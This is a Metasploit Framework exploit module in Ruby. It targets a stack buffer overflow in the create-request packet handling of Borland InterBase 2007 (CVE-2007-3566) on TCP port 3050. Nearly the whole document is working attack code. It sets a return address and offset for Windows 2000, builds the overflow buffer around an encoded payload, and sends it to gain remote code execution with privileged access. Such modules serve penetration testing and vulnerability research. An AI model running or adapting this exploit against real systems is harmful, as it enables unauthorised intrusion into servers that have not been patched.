Borland Interbase Create-Request Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Borland Interbase Create-Request Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Borland Interbase 2007.  
By sending a specially crafted create-request packet, a remote  
attacker may be able to execute arbitrary code.  
},  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2007-3566' ],  
[ 'OSVDB', '38602' ],  
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 850,  
'BadChars' => "\x00",   
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,   
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'July 24 2007'))  
  
register_options([Opt::RPORT(3050)], self.class)  
  
end  
  
def exploit  
connect  
  
# Build the exploit buffer.... It's a biggie!   
sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])  
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)   
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`